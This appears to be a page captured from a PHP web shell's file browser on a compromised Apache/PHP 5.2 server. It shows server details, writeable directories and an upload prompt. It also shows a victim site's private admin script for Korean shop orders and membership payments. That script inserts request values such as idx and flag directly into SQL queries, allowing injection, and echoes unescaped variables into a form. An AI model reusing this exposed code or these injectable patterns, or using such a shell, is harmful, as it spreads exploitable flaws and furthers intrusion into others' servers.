KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/22697/root/home/queenjbs/yuchun/admin/Proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/22697/root/home/queenjbs/yuchun/admin/Proc/authcode_proc.php
<?php
include $_SERVER['DOCUMENT_ROOT']."/conf/conf_dir.php";
echo "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />";
//유효성검사 idx,flag
if($idx && $flag){
	/********
	* 테이블 shop_order 의 order_step 은 숫자, 1: 입금확인중, 2:입금완료... 회원결제는 2개만 필요.나중에 환불있을때 추가하겠음.
	* user_cash 의 flag 는 A : 입금확인중, D : 입금완료
	*처음 flag 값은 shop_order 2값으로 넘어옴.
	********/
	if($flag == 2){
		$where = ",d_bank='$date[totime]' ";
	}else{
		$where = ",d_bank='' ";
	}

		$query = "update shop_order set orderstep ='$flag' $where where uid = '$idx'";
		$result = mysql_query($query, $db_con);

		$query = "update shop_ordergoods set orderstep ='$flag' $where where parent = '$idx'";
		$result = mysql_query($query, $db_con);

		$qrys = Get_dbres("select * from shop_order where uid = '$idx'");
		$rows = mysql_fetch_array($qrys);
		$midx = $rows[mbruid]; //회원 idx
		$uidx = $rows[orderid]; //주문번호


		//회원가입결제 이고 입금완료(2) 일때만 사용함.
		if(($rows[goodsuid]==1 || $rows[goodsuid]==2) && $flag==2){
			$qry = Get_dbres("select * from user where id = '$midx'");
			$row = mysql_fetch_array($qry);
			$mCode = $row[member_code];
			$benddate = $row[m_enddate];

			if($benddate && $row[auth_code] == 10){
				$end_arr = explode("-",$benddate);
				$end_time = mktime(0,0,0,$end_arr[1], $end_arr[2], $end_arr[0]);
				$now_time = mktime(0,0,0,date("m"), date("d"), date("Y"));
				$giganCount = ($end_time - $now_time)/86400;

			}else{
				$giganCount =-1;
			}

			if($giganCount >= 0){
				#유료회원 기간이 남아있다면.. m_enddate 날짜에 기간 플러스함.
				$end_arr = explode("-",$benddate);
				$tmpyearn = $end_arr[0];
				$tmpyearp=$end_arr[0]+1;
				$time =mktime(0, 0, 0, $end_arr[1], '01', $end_arr[0]);
				$beforeMonth = date("Y-m-d",strtotime("+1 month", $time));
				$beforeMonthArr	= explode("-",$beforeMonth);
				$tmp_start_date = $tmpyearn."-".$beforeMonthArr[1]."-01";
				$tmp_end_date = $tmpyearp."-".$end_arr[1]."-".$end_arr[2];

				$whereDate1 =",startdate='$tmp_start_date',enddate='$tmp_end_date'";
				$whereDate2 =",m_startdate='$tmp_start_date',m_enddate='$tmp_end_date'";

			}else{
				#유료회원 기간이 없다면.. 입금완료일의 월의 1일로 시작일이되고 ,enddate는 이 시작일의 전달 의 말일로 된다.
				//$today="2018-03-15";
				$todayArr = explode("-",$today);
				$tmp_start_date = $todayArr[0]."-".$todayArr[1]."-01";
				$time =mktime(0, 0, 0, $todayArr[1], $todayArr[2], $todayArr[0]);
				$beforeMonth = date("Y-m-d",strtotime("-1 month", $time));
				$beforeMonthArr	= explode("-",$beforeMonth);
				if($todayArr[1] == "01"){
					$tmpyearp= $todayArr[0];
				}else{
					$tmpyearp= $todayArr[0]+1;
				}
				$end_day = date("t", mktime(0, 0, 0, $beforeMonthArr[1], 1, $tmpyearp));
				$tmp_end_date = $tmpyearp."-".$beforeMonthArr[1]."-".$end_day;

				$whereDate1 =",startdate='$tmp_start_date',enddate='$tmp_end_date'";
				$whereDate2 =",m_startdate='$tmp_start_date',m_enddate='$tmp_end_date'";

			}

			if($rows[goodsuid]==1){
				$cash_cnt = 1; //신규이면 1회
				//신규인데 회원번호가 있다면 이력남기고 새로 발급.
				if($mCode){
					$mqry = "INSERT INTO `user_before_code` (`no` ,`mbruid` ,`before_code` ,`startdate` ,`enddate`)
					VALUES (NULL , '$midx', '$mCode', '$row[m_startdate]', '$row[m_enddate]');";
					$mqry_result = mysql_query($mqry,$db_con);
				}
				$tmp_code  = get_db("select max(member_code) from user where activated = 1"); //정회원번호주기
				$numberVal = substr($tmp_code, 2, 6)+1;
				//SV03400 번 부터 시작 루크코리아 번호 시작하자.20180910
				if($numberVal <= 100) $numberVal= 100;//첫번째 들어갈 사람위해
				$member_code = $initialCode.sprintf("%05d",$numberVal);

			}elseif($rows[goodsuid]==2){
				$cash_cnt = get_db("SELECT inning FROM user_cash where user_id='$midx' and flag='D' order by id desc")+1; // 기존회차 +1
				$member_code=$mCode;
			}

			//캐쉬 결제
			$mode="D";
			$adminIP = $_SERVER["REMOTE_ADDR"];
			$cash_cnt = get_db("SELECT count(user_id) FROM user_cash where user_id='$midx' and flag='D'")+1;
			$queryupok = "update user_cash set flag = '$mode' ,inning='$cash_cnt',admin_id='$sessionID' ,admin_date=now() , admin_ip='$adminIP' $whereDate1 where order_uid = '$idx' and user_id = '$midx'";
			$queryupok_result = mysql_query($queryupok,$db_con);
			//echo "<br>";

			//member table 결재 정보 수정
			$queryupok = "update user set auth_code = '10',cash_chk='$idx',cash_cnt='$cash_cnt' $whereDate2 ,member_code='$member_code' where id = '$midx'";
			$queryupok_result = mysql_query($queryupok,$db_con);
		}else{
			if($flag==1) $mode="A";
			//캐쉬 결제
			$queryupok = "update user_cash set flag = '$mode' ,inning='',startdate='',enddate='',admin_id='',admin_date='' where order_uid = '$idx' and user_id = '$midx'";
			$queryupok_result = mysql_query($queryupok,$db_con);

			//이전 결제 처리
			$beforeCash = Get_dbres("select * from user_cash where flag = 'D' and user_id = '$midx' order by id desc");
			$row = mysql_fetch_array($beforeCash);
			if($row[id] && $today < $row[enddate]){
				$auth_code = 10;
				$cash_chk = $row[id];
				$m_startdate = $row[startdate];
				$m_enddate = $row[enddate];
			}else{
				$auth_code = 3;
				$cash_chk = "";
				$m_startdate = "";
				$m_enddate = "";
			}

			$member_code  = get_db("select member_code from user where id = '$midx'");

			//member table 결재 정보 수정
			$queryupok = "update user set auth_code = '$auth_code',cash_chk='$cash_chk',m_startdate='$m_startdate',m_enddate='$m_enddate' ,member_code='$member_code' where id = '$midx'";
			$queryupok_result = mysql_query($queryupok,$db_con);
		}

}else{
	echo "error idx and flag";
}
?>
<form name="F_bbs" method="post" action="../memberlist1.php?act=4">
<input type="hidden" name="page" value="<?=$page?>">
<input type="hidden" name="act" value="<?=$act?>">
<input type="hidden" name="orderstep" value="<?=$orderstep?>">
<input type="hidden" name="key" value="<?=$key?>">
<input type="hidden" name="key_word" value="<?=$key_word?>">
<input type="hidden" name="goodsproduct" value="<?=$goodsproduct?>">
</form>
<script>document.F_bbs.submit()</script>

Anon7 - 2021